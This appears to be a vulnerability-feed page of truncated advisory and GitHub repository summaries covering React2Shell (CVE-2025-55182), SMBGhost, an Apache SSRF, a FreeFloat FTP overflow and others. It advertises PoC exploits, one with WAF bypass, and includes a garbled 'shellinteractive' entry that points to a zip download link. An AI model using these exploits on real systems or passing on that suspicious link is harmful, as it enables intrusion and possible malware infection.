CLEANSTART-2026-FU14728 SSRF in Apache HTTP Server on Windows with mod_rewrite in server/vhost context, allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests

Security vulnerability affects the apache2 package. SSRF in Apache HTTP Server on Windows with modrewrite in server/vhost context, allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests...

SMBGhost

SMBGhost CVE-2020-0796 - SMBv3 RCE 用のシンプルなスキャナーです。 このスキャナーは、サーバーが脆弱かどうかをテストするためのみを目的としています。研究や開発を目的としたものではないため、ペイロードは固定されています。 ネゴシエートリクエストを通じて、SMB ダイアレクト 3.1.1 と圧縮機能をチェックします。 Windows 2019 Server 10.0.0.133 に対してスキャナーを実行した際のネットワークダンプは、SMBGhost.pcap にあります。 使用方法 python3 scanner.py 回避策 ADV200005 | SMB...

CVE-2026-18782-TREX-MES-Uygulamalarinda-SQL-Zafiyeti

TREX-MES 应用中的 SQLi 漏洞 CVE-2026-18782 概述 TREX MES 是一款用于从生产现场采集和管理数据的商业制造执行系统 MES / 工业 4.0 平台。该应用的 Web API 将来自客户端的 sql 参数直接在后端 Microsoft SQL Server 上执行，并以 JSON 形式返回结果集。 影响 一个低权限的已认证用户——或者通过下文所述的认证绕过获得会话令牌的任何攻击者——可以： 读取、修改或删除 SQL Server 实例上所有 数据库中的数据。这不仅限于应用自身的数据库，还包括生产、财务和人事数据库。...

EUVD-2026-95428

When an HTTP server handler sends a 2xx response to an HTTP/1 CONNECT request and returns without hijacking the connection, the server improperly continues to read and serve requests from the connection. Since a 2xx response to an HTTP/1 CONNECT converts the connection into a tunnel, the server...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - 轻松安全地运行命令 🚀 概述 CVE-2025-55182 是存在于 https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip 和 React Server Components 中的一个漏洞。该问题由于 React Server Actions 中数据处理不当，允许未经授权的用户在受影响的服务器上执行任意代码。我们的应用程序提供了一个交互式...

react2shell-CVE-2025-55182-poc

CVE-2025-55182 React2Shell PoC with WAF Bypass A clean, reliable Python proof-of-concept exploit for CVE-2025-55182 aka React2Shell, a critical remote code execution vulnerability in React Server Components used by Next.js App Router and similar frameworks. This PoC includes dynamic WAF bypass...

CVE-2020-11932

CVE-2020-11932 🐛🔍 CVE-2020-11932 を確認し、この脆弱性に関連するホストをテストします。 使用方法 ダウンロード git clone https://github.com/Staubgeborener/CVE-2020-11932 cd CVE-2020-11932 chmod +x cve-2020-11932.sh ./cve-2020-11932.sh curl を使用する場合（ダウンロード不要） bash curl -s...

flight-risk

flight-risk flight risk /flaɪt rɪsk/ — React的Flight协议是React服务器组件的序列化层。CVE-2025-55182利用Flight中的反序列化漏洞实现预认证远程代码执行（RCE）。如果你的应用使用了RSC，它就是一个 飞行风险 。 针对CVE-2025-55182（React2Shell） 的安全工具包——一个CVSS 10.0的预认证远程代码执行漏洞，影响React服务器组件。支持扫描、检测、关联和测试。 内容说明 工具| 功能 ---|--- react2shell-scanner|...

CVE-2025-5548

🛡️ CVE-2025-5548 – FreeFloat FTP 服务器缓冲区溢出利用 📌 概述 本仓库记录了对 FreeFloat FTP 服务器 应用中基于栈的缓冲区溢出漏洞 的发现与利用过程。 该漏洞存在于 USER 命令的处理逻辑中，不安全的堆内存操作（strcpy）允许攻击者覆盖栈并控制执行流程。 本项目演示了从逆向工程到任意代码执行的完整利用流程。 🎯 漏洞详情 目标软件： FreeFloat FTP 服务器（Win32） 漏洞类型： 基于栈的缓冲区溢出 攻击向量： FTP USER 命令 影响： 远程代码执行（RCE） 根本原因： 不安全的内存处理（未进行边界检查的...

react2shell-scanner

🚨 React2Shell 扫描器 React 服务端组件中的 CVSS 10.0 RCE。你的 React 19 应用存在漏洞吗？ 用于检测 CVE-2025-55182（React2Shell）的快速、精准扫描器——这是一个已被在野利用的严重远程代码执行漏洞。凭借智能的服务端组件检测实现零误报。 🚨 关于 React2Shell（CVE-2025-55182） React2Shell 是 React 服务端组件中的一个最高严重级别（CVSS 10.0）漏洞，允许未经身份验证的远程代码执行。攻击者可通过向服务端函数端点发送特制的 HTTP 请求来利用此漏洞。 关键信息： 受影响：...

CVE-2020-1350

警告 このリポジトリはアーカイブされており、現在は積極的にメンテナンスされていません。 CVE-2020-1350 このPowerShellスクリプトは、Windows DNSサービスのCVE-2020-1350リモートコード実行の脆弱性に対してサーバーが脆弱かどうかを確認します。 この回避策スクリプトのサポート対象OS Windows Server 2012 Windows Server 2012 R2 Windows Server 2016 Windows Server 2019 注: このスクリプトはWindows Server 2008およびWindows Server 2008...

CVE-2020-0796

警告 此仓库已归档，不再积极维护。 CVE-2020-0796 PowerShell SMBv3 压缩检查器 相关博客文章：https://binsec.nl/cve-2020-0796-smbv3-rce-vulnerebility-in-smbv3-coronablue/ 目前为止，此漏洞仅影响以下操作系统： Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for ARM64-based Systems Windows 10 Version 1903 for x64-based Systems...

PT-2026-109164

A remote, unauthenticated TLS client can make a server crash or call through a freed pointer if its sni callback assigns a different context to SSLSocket.context the documented way to select a certificate per server name and nothing else keeps the original ssl.SSLContext alive. Typical cases are...

Fedora 44 : xorg-x11-server-Xwayland (2026-2448dda850)

The remote Fedora 44 host has a package installed that is affected by multiple vulnerabilities as referenced in the FEDORA-2026-2448dda850 advisory. Update to xwayland 24.1.14 CVE fix for: CVE-2026-88812, CVE-2026-93515, CVE-2026-93516 CVE-2026-93517, CVE-2026-93518, CVE-2026-93519, CVE-2026-9352...

AlmaLinux 9.2 [TuxCare] Security Update: httpd / httpd-core / httpd-devel / httpd-filesystem / httpd-manual / etc Multiple Vulnerabilities (ALMALINUX9.2:CLSA-2026:1791538487)

The AlmaLinux 9.2 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1791538487 advisory. - Deployment of wrong handler vulnerability in Apache HTTP Server allows the target of some internal redirects from CGI programs to...

AlmaLinux 9.2 [TuxCare] Security Update: httpd / httpd-core / httpd-devel / httpd-filesystem / httpd-manual / etc (ALMALINUX9.2:CLSA-2026:1791536084)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1791536084 advisory. - Out-of-bounds Write vulnerability in Apache HTTP Server's modcharsetlite. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

PT-2026-108827

Unrestricted Upload of File with Dangerous Type vulnerability in PX-lab Zombify zombify allows Upload a Web Shell to a Web Server.This issue affects Zombify: from n/a through 1.7.7...

PT-2026-108985

Name of the Vulnerable Software and Affected Versions Argo CD versions 2.11.0 through 3.3.14 Argo CD versions 3.4.0 through 3.4.9 Argo CD versions 3.5.0 through 3.5.3 Argo CD versions 3.6.0-rc1 and earlier Description The Argo CD repo-server is subject to command injection when cloning, testing, ...

Linux Distros Unpatched Vulnerability : CVE-2026-94439

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - When an HTTP server handler sends a 2xx response to an HTTP/1 CONNECT request and returns without hijacking the connection, the server improperly continues to...

CVE-2025-55182

CVE-2025-55182 実際の説明をお探しの場合は、msanft/CVE-2025-55182 にわかりやすい説明（動作する PoC 付き）があります。 このリポジトリには、私が試した中で興味深い（ような）結果が得られたいくつかの試みが含まれているだけです。 ./thing.py に動作する PoC が含まれるようになりました。その大部分は https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3 から引用したものです。 古い内容 テンプレート: !/usr/bin/env python3 import...